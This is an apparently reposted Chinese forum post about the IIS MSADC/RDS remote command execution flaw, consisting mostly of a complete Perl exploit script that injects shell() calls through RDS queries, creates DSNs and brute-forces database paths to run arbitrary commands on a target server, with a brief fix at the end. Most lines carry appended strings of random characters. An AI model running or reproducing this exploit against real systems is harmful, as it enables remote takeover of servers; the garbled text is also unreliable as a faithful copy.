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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) b]J_R"}  
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涉及程序: r<"1$K~Ka  
Microsoft NT server DB?[h<^m  
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描述: HC$_p,9OV  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 /+3|tb  
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详细: (+9@j(  
如果你没有时间读详细内容的话,就删除: D,J's(wd  
c:\Program Files\Common Files\System\Msadc\msadcs.dll =LuA [g  
有关的安全问题就没有了。 $ccI(J`zux  
6~}=? sX4  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 &<L+;k~P%  
9<xe%V=ki  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 QjRVdb>  
关于利用ODBC远程漏洞的描述,请参看: 4u"O/rt  
b7=]"|c$@  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm d,$[633It}  
Vls*fY:W  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 Um*{~=;u  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp M34*$>bk  
Z EG  
这里不再论述。 u< ):gI  
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3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: Iy"   
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/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset 96 C|R  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! n#m )]YQC  
2p@S-Lp  
h v9s  
#将下面这段保存为txt文件,然后: "perl -x 文件名" E4WoKuE1$  
@!K)(B;A0b  
#!perl A/ GEDG ?  
# ]x~H"<V  
# MSADC/RDS 'usage' (aka exploit) script QHA<7Wg  
# rU(N@i%  
# by rain.forest.puppy In]h+tG?rN  
# YsDn?pD@  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me {-H6Z#b[  
# beta test and find errors! GXa-g-d  
[<bfwTFsl  
use Socket; use Getopt::Std; /SZsXaC '  
getopts("e:vd:h:XR", \%args); F%L^k.y$  
b PiJCX0d  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; tz2`X V{  
y_\vXY'  
if (!defined $args{h} && !defined $args{R}) { y%iN9 -t  
print qq~ fU$zG"a_  
Usage: msadc.pl -h <host> { -d <delay> -X -v } xpUaFb  
-h <host> = host you want to scan (ip or domain) -<qci3Ba}  
-d <seconds> = delay between calls, default 1 second , Lhgv1  
-X = dump Index Server path table, if available wS8qua  
-v = verbose nIXq2TzJ  
-e = external dictionary file for step 5 Pgb<;c:4  
e>Is$+[`7  
Or a -R will resume a command session }9{6{TD  
,sXa{U  
~; exit;} YpXUYNy  
(l9U7^S"{K  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; ]"aC wr  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} L;>tuJY1  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} oE)tK1>;H  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); YI&7s_% -  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} ]w! x  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } 4RJ8 2yq-  
fok OjTE  
if (!defined $args{R}){ $ret = &has_msadc; par $0z/  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} 91`biVZfA  
.-fJ\`^mi  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" k$# @_  
. "cmd /c "; TRG"fVR  
$in=<STDIN>; chomp $in; iC$~v#2  
$command="cmd /c " . $in ; V/<dHOfR\  
Lab{?!E>U  
if (defined $args{R}) {&load; exit;} wbVM'E/&  
Z=4Krfn  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; ,.G6c=pZ  
&try_btcustmr; eRv3qK{`  
1z0&+C3z  
print "\nStep 2: Trying to make our own DSN..."; YtE V8w_$  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; M'Q{2%:>a  
7[^:[OEE  
print "\nStep 3: Trying known DSNs..."; @4_W}1W  
&known_dsn; @UE0.R<  
6D@tCmmq  
print "\nStep 4: Trying known .mdbs..."; 'd(OFE-hn  
&known_mdb; " #_NA`$i  
1KAA(W;nq  
if (defined $args{e}){ &KX|gB'  
print "\nStep 5: Trying dictionary of DSN names..."; vD^^0-Pk6  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } 5fSDdaO  
yUqvF6+26  
print "Sorry Charley...maybe next time?\n"; >J|I  
exit; {b8!YbG  
_ i.CvYe  
############################################################################## |s[m;Qm[ku  
kfM}j  
sub sendraw { # ripped and modded from whisker n-}.Yc  
sleep($delay); # it's a DoS on the server! At least on mine... a|  
my ($pstr)=@_; {HlUV33O  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || bvk+i?{H  
die("Socket problems\n"); TdG[b1xN  
if(connect(S,pack "SnA4x8",2,80,$target)){ F;}?O==H;  
select(S); $|=1; `{<2{}2M  
print $pstr; my @in=<S>; dGr Ow)  
select(STDOUT); close(S); 5d<-y2!M  
return @in; /<Zy-+3  
} else { die("Can't connect...\n"); }} ?7Y X @x  
^7vh ize  
############################################################################## rmk'{"  
R1\cAP^ 0  
sub make_header { # make the HTTP request r"zW=9 O=  
my $msadc=<<EOT l3)(aay!  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 w'#VN|;;!  
User-Agent: ACTIVEDATA I^ppEgYSY  
Host: $ip GK2IY  
Content-Length: $clen 3q{H=6  
Connection: Keep-Alive Gq$9he<  
84cmPnaT  
ADCClientVersion:01.06 KSc&6UVz^  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 QaUh+k<6  
&B/cy<;y,  
--!ADM!ROX!YOUR!WORLD! *<OWd'LI  
Content-Type: application/x-varg yAi#Y3!::  
Content-Length: $reqlen p$0;~1vH  
6WzE'0Nyr  
EOT qL,QsRwN  
; $msadc=~s/\n/\r\n/g; #}^ZxEU  
return $msadc;} T<mk98CdE  
K &Ht37T  
############################################################################## 9L*gxI>  
&:nWZ!D  
sub make_req { # make the RDS request mAX]m1s  
my ($switch, $p1, $p2)=@_; -P!vCf^{ t  
my $req=""; my $t1, $t2, $query, $dsn; j}X4#{jgC  
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if ($switch==1){ # this is the btcustmr.mdb query Cx} Yp-  
$query="Select * from Customers where City=" . make_shell(); oy;N3  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . 4qrPAt  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} kZWc(LwA  
l)Q,*i  
elsif ($switch==2){ # this is general make table query zZ[SC  
$query="create table AZZ (B int, C varchar(10))"; Z: &"Ax  
$dsn="$p1";} P>0j]?RB  
-!I.:97 N  
elsif ($switch==3){ # this is general exploit table query GKZn|<Y|{c  
$query="select * from AZZ where C=" . make_shell(); , .x5  
$dsn="$p1";} "/O0j/lm  
<u&uwD~A  
elsif ($switch==4){ # attempt to hork file info from index server Fx/9T2%=  
$query="select path from scope()"; >Czcs=(L.k  
$dsn="Provider=MSIDXS;";} {(7Dz*0  
psta&u\ q  
elsif ($switch==5){ # bad query );@@>~  
$query="select"; @|j`I1r.A  
$dsn="$p1";} :nd }e  
tI{pu}/"#  
$t1= make_unicode($query); #z6RzZu  
$t2= make_unicode($dsn); )><cL:IJ}S  
$req = "\x02\x00\x03\x00"; t'Nu^_#  
$req.= "\x08\x00" . pack ("S1", length($t1)); |0b$60m$!t  
$req.= "\x00\x00" . $t1 ; BT2[@qH|qF  
$req.= "\x08\x00" . pack ("S1", length($t2)); +wY3E*hU  
$req.= "\x00\x00" . $t2 ; @lc1Ipfk"  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; X.o[=E  
return $req;} VjMd&>G  
fFqK.^Tn  
############################################################################## 3`5?Zgp  
3 B KW  
sub make_shell { # this makes the shell() statement lF 8B+  
return "'|shell(\"$command\")|'";} Ra;e#)7 X  
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############################################################################## 5lxC**NA  
<(>v|5K0]  
sub make_unicode { # quick little function to convert to unicode Iu[^"  
my ($in)=@_; my $out; 6aX m9 J  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }  /d0LD  
return $out;} KVSy^-."  
Rl=NVo  
############################################################################## 49 fs$wr@  
<Lyz7R6  
sub rdo_success { # checks for RDO return success (this is kludge)  UY+~,a  
my (@in) = @_; my $base=content_start(@in); +VAfT\G2  
if($in[$base]=~/multipart\/mixed/){ * ,_Qdr^F  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} nx $?wxIm  
return 0;} X. UN=lu  
hkRv0q.'  
############################################################################## Ipb 4{A&"\  
U :J~O y_Z  
sub make_dsn { # this makes a DSN for us 7 G~MqnO|  
my @drives=("c","d","e","f"); !:c7I@  
print "\nMaking DSN: "; "sUe:F;  
foreach $drive (@drives) { VS%8f.7ep  
print "$drive: "; h7~&rWb  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . l9qq;hhGP,  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" 5\S)8j `8  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); +4G uA0N6  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; w44{~[0d4  
return 0 if $2 eq "404"; # not found/doesn't exist E IsA2 f  
if($2 eq "200") { H-1@z$p  
foreach $line (@results) { Ts}5Nk8%  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} 1&i!92:E  
} return 0;} vJtQ&,zG  
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############################################################################## -XPGl  
]\+bx=  
sub verify_exists { Gvtd )9^<  
my ($page)=@_; &.K8c phj  
my @results=sendraw("GET $page HTTP/1.0\n\n"); C3G?dZKv2  
return $results[0];} 8ftLYMX@  
 vF]?i  
############################################################################## ,HUs MCXQ  
b3#c0GL  
sub try_btcustmr { (xG#D;M0  
my @drives=("c","d","e","f"); w^A8ZT0^7  
my @dirs=("winnt","winnt35","winnt351","win","windows"); |jEKUTv,G  
yXg783B|v  
foreach $dir (@dirs) { yJ/m21f  
print "$dir -> "; # fun status so you can see progress oT\B-lx  
foreach $drive (@drives) { ;}.jRmnJ  
print "$drive: "; # ditto !}l)okQH<#  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; ag:#82C  
$reqlenlen=length( "$reqlen" ); V BIPB  
$clen= 206 + $reqlenlen + $reqlen; BXZ( %tnY  
v$+G_@  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); p#^L ZX  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} uQ5NN*C=  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} TN7kt]a2  
M GN*i9CE  
############################################################################## [<1i[\^  
'+f!(teLz  
sub odbc_error { zp% MK+x  
my (@in)=@_; my $base; t=xO12Z  
my $base = content_start(@in); j<8_SD=,  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this u vc0"g1h  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; )#xd]~ <  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; dm8veKW'l  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; :*0k:h6g  
return $in[$base+4].$in[$base+5].$in[$base+6];} ;yBq'_e3  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; Y 0$m~}j  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . wD22@uM#]  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} 9} eIidwK  
q>]v~  
############################################################################## UF D_  
;=_<\2  
sub verbose { C]A*B  
my ($in)=@_; w{I60|C]*  
return if !$verbose; Q]{DhDz ?+  
print STDOUT "\n$in\n";} ?mG ?N(t/h  
PM[6U#  
############################################################################## LL9I:^  
{Y` 0}  
sub save { rya4sxCh  
my ($p1, $p2, $p3, $p4)=@_; EpOVrk  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; 6;*tw i  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; QTcngv[  
close OUT;} R?Iv<(I  
?9mWMf%t  
############################################################################## &y3_>!L  
|I)Ms NF  
sub load { @ U}fvdft  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; ]L}<Y9)t  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); a[lE9JA;|  
@p=<IN>; close(IN); F] M3/M  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); &e cf5jFy  
$target= inet_aton($ip) || die("inet_aton problems"); Y5c( U)R8  
print "Resuming to $ip ..."; b]hRmW  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; =1VY/sv  
if($p[1]==1) { SDA +XnmH  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; hYb!RRGn  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; k(u W( 6  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); {;f` t3D  
if (rdo_success(@results)){print "Success!\n";} @B7 ;  
else { print "failed\n"; verbose(odbc_error(@results));}} Qy0bp;V/  
elsif ($p[1]==3){ !%T@DT=l&  
if(run_query("$p[3]")){ &b"PjtU.X  
print "Success!\n";} else { print "failed\n"; }} &|/C*2A  
elsif ($p[1]==4){ IL YS:c58=  
if(run_query($drvst . "$p[3]")){ gl2~6"dc  
print "Success!\n"; } else { print "failed\n"; }} :_)Xe*O  
exit;} zT!JHG  
H{p+gj^J  
############################################################################## 8QFY:.h&  
4&$hBn=!  
sub create_table { ^~=o?VtBg  
my ($in)=@_; `.L8<-]W  
$reqlen=length( make_req(2,$in,"") ) - 28; 4)v\Dc/9i  
$reqlenlen=length( "$reqlen" ); ?|N:[.  
$clen= 206 + $reqlenlen + $reqlen; e)cmZ8~S  
my @results=sendraw(make_header() . make_req(2,$in,"")); F'pD_d9]e  
return 1 if rdo_success(@results); _$i9Tk  
my $temp= odbc_error(@results); verbose($temp); =qI JXV  
return 1 if $temp=~/Table 'AZZ' already exists/; zVl(?b&CF  
return 0;} u^!-Z)W  
rh$%*l  
############################################################################## dYf Vox;  
M~ynJ@q  
sub known_dsn { FjkE^o>  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go >"zSW?  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", s49 AF  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", w y:USS?  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); lYQcQ*-  
> { fX;l  
foreach $dSn (@dsns) { ]E[Mv} =  
print "."; gmJJ(}HVz  
next if (!is_access("DSN=$dSn")); #G)ZhgB^  
if(create_table("DSN=$dSn")){ `S$BBF;  
print "$dSn successful\n"; -qid.  
if(run_query("DSN=$dSn")){ 'hU&$lgMF  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { Nm#KHA='Z  
print "Something's borked. Use verbose next time\n";}}} print "\n";} Bk?MF6  
-PEpy3dMY  
############################################################################## ,((5|MbM/  
SJy:5e?zk  
sub is_access { D?X97jNm  
my ($in)=@_; ?B@iBOcu[  
$reqlen=length( make_req(5,$in,"") ) - 28; KZ/}Iy>As  
$reqlenlen=length( "$reqlen" ); T3'dfe U  
$clen= 206 + $reqlenlen + $reqlen; :rk]o*  
my @results=sendraw(make_header() . make_req(5,$in,"")); q;>'jHh  
my $temp= odbc_error(@results); Fc 5g~T  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); uysGOyi<u  
return 0;} crZ\:LeJ  
_W]3_1Lu  
############################################################################## Dc #iM0  
ZVK;m1?'  
sub run_query { l#]Z?zW.  
my ($in)=@_; ;v8,r#4  
$reqlen=length( make_req(3,$in,"") ) - 28; BuK82   
$reqlenlen=length( "$reqlen" ); J~n{gT<L  
$clen= 206 + $reqlenlen + $reqlen; 'T+3tGCy+  
my @results=sendraw(make_header() . make_req(3,$in,"")); P(A%z2Ql  
return 1 if rdo_success(@results); O3Ks|%1  
my $temp= odbc_error(@results); verbose($temp); (MJu3t @  
return 0;} z@T;N'EM  
")x9A&p  
############################################################################## )9L1WOGi  
H'Z[3e  
sub known_mdb { jr~76  
my @drives=("c","d","e","f","g"); !C#q  
my @dirs=("winnt","winnt35","winnt351","win","windows"); |iO2,99i  
my $dir, $drive, $mdb; 8M(N   
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; 0~an\4nh  
(_U&EX%  
# this is sparse, because I don't know of many N @]*E  
my @sysmdbs=( "\\catroot\\icatalog.mdb", lyv9eM  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", <(s+  
"\\system32\\certmdb.mdb", s{< rc>  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% MEq ()}7P  
1wGd5>GDA  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", NZdQz  
"\\cfusion\\cfapps\\forums\\forums_.mdb", Z1^S;#v  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", ?A,gDk/#  
"\\cfusion\\cfapps\\security\\realm_.mdb", 8.]dThaq  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", 9dy"Y~c  
"\\cfusion\\database\\cfexamples.mdb", |l7e*$j  
"\\cfusion\\database\\cfsnippets.mdb", )h>Cp,|{  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", !7^fji  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", i"sVk8+o!  
"\\cfusion\\brighttiger\\database\\cleam.mdb", C.pNDpx-  
"\\cfusion\\database\\smpolicy.mdb", <J?i+b  
"\\cfusion\\database\cypress.mdb", G8akMd]2  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", $\m=-5 0-  
"\\website\\cgi-win\\dbsample.mdb", Ha4?I$'$  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", Hdj0! bUx  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" Hsx`P  
); #these are just Z*s/%4On  
foreach $drive (@drives) { _3hCu/BV  
foreach $dir (@dirs){ kTs)u\r.  
foreach $mdb (@sysmdbs) { :~U1JAs$  
print "."; !=k\Rr@qx  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ cs~ }k7><  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; _;X# &S(q-  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ &k : |  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; q'q'v S  
} else { print "Something's borked. Use verbose next time\n"; }}}}} *A c~   
Y:*mAv;&  
foreach $drive (@drives) { 9OXrz}8C  
foreach $mdb (@mdbs) { /c__{?go  
print "."; 1cOp"!  
if(create_table($drv . $drive . $dir . $mdb)){ a,lH6lDk  
print "\n" . $drive . $dir . $mdb . " successful\n"; ]<W1edr  
if(run_query($drv . $drive . $dir . $mdb)){ * C's7O{O  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; LFV;Y.-(h  
} else { print "Something's borked. Use verbose next time\n"; }}}} HHa7Kh|-H  
} +(UrqK4Av  
[- vd]ob  
############################################################################## <~X=6  
M8S4D&vpD4  
sub hork_idx { <(#cPV@j  
print "\nAttempting to dump Index Server tables...\n"; b\]"r x (  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; Gash3}+  
$reqlen=length( make_req(4,"","") ) - 28; N|7<*\o  
$reqlenlen=length( "$reqlen" ); "0zMx`Dh  
$clen= 206 + $reqlenlen + $reqlen; D.R5-  
my @results=sendraw2(make_header() . make_req(4,"","")); [9aaHf@'  
if (rdo_success(@results)){ /KlA7MH6  
my $max=@results; my $c; my %d; .-c3f1i  
for($c=19; $c<$max; $c++){ z9;vE7n!  
$results[$c]=~s/\x00//g; P]r"E  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; zXUE<\  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; C2ToT\^  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; dpJi5fN  
$d{"$1$2"}="";} Mr/^V,rA  
foreach $c (keys %d){ print "$c\n"; } >G/>:wwSP.  
} else {print "Index server doesn't seem to be installed.\n"; }} MH{vFA4:,  
mj5A*%"W  
############################################################################## D1#E&4   
I%{^i d@  
sub dsn_dict { YfF&: "-NU  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); [J-r*t"!  
while(<IN>){ gjyg`%  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; ]WyV~Dzz<  
next if (!is_access("DSN=$dSn")); ~]c^v'k  
if(create_table("DSN=$dSn")){ .F)--%  
print "$dSn successful\n"; ?vf\_R'M  
if(run_query("DSN=$dSn")){ as~.XWa  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { rw_&t>Ri;  
print "Something's borked. Use verbose next time\n";}}} $`_(%tl  
print "\n"; close(IN);} PX2Ejrwj  
Z''Fz(qMC  
############################################################################## 3<fJ5-z|-  
Ob0=ZW`+&  
sub sendraw2 { # ripped and modded from whisker a; /4 ht  
sleep($delay); # it's a DoS on the server! At least on mine... &~||<0m  
my ($pstr)=@_; >fs-_>1d  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || Q 7B)t;^  
die("Socket problems\n"); jnH44  
if(connect(S,pack "SnA4x8",2,80,$target)){ ecf<(Vl}  
print "Connected. Getting data"; >[ 72]<6  
open(OUT,">raw.out"); my @in; 3^1)W!n/  
select(S); $|=1; print $pstr; SL@Vk(  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} fVR ~PG0  
close(OUT); select(STDOUT); close(S); return @in; D|9B1>A,m  
} else { die("Can't connect...\n"); }} u b4(mS  
Arfq  
############################################################################## HzbO#)Id-I  
C. 8>  
sub content_start { # this will take in the server headers Ds L]o  
my (@in)=@_; my $c; |nU:  
for ($c=1;$c<500;$c++) { iF61J% 3-  
if($in[$c] =~/^\x0d\x0a/){ ,ISq7*%F  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } B;1wnKdj  
else { return $c+1; }}} L[TL~@T   
return -1;} # it should never get here actually f()^^+  
vbwEX6  
############################################################################## =7Tbu'O;  
dVe3h.,[v  
sub funky { K7e<hdP_#  
my (@in)=@_; my $error=odbc_error(@in); %q ja:'k  
if($error=~/ADO could not find the specified provider/){ jGt'S{  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; n!HFHy2  
exit;} vc^PXjX  
if($error=~/A Handler is required/){ ~Ycz(h'(  
print "\nServer has custom handler filters (they most likely are patched)\n"; e$F7wto  
exit;} 1{";u"q  
if($error=~/specified Handler has denied Access/){ <!DOCvd  
print "\nServer has custom handler filters (they most likely are patched)\n"; 8'g/WZY~~  
exit;}} nW|[poQK  
m\@Q/_ v  
############################################################################## ;]n U->  
@&E E/j^  
sub has_msadc { ]p0m6}B  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); }zLe;1Tx  
my $base=content_start(@results); hih`:y  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); to:hMd1T  
return 0;} _DJ0 MR~3  
5l(;+#3y/  
######################## OtQKDpJq  
?{{E/J:%  
.iew5.eB+  
解决方案: zq1&MXR)l  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll ;'J L$=  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 ~{d94o.  
@uH7GW}$g  
拿出来充数 哈哈
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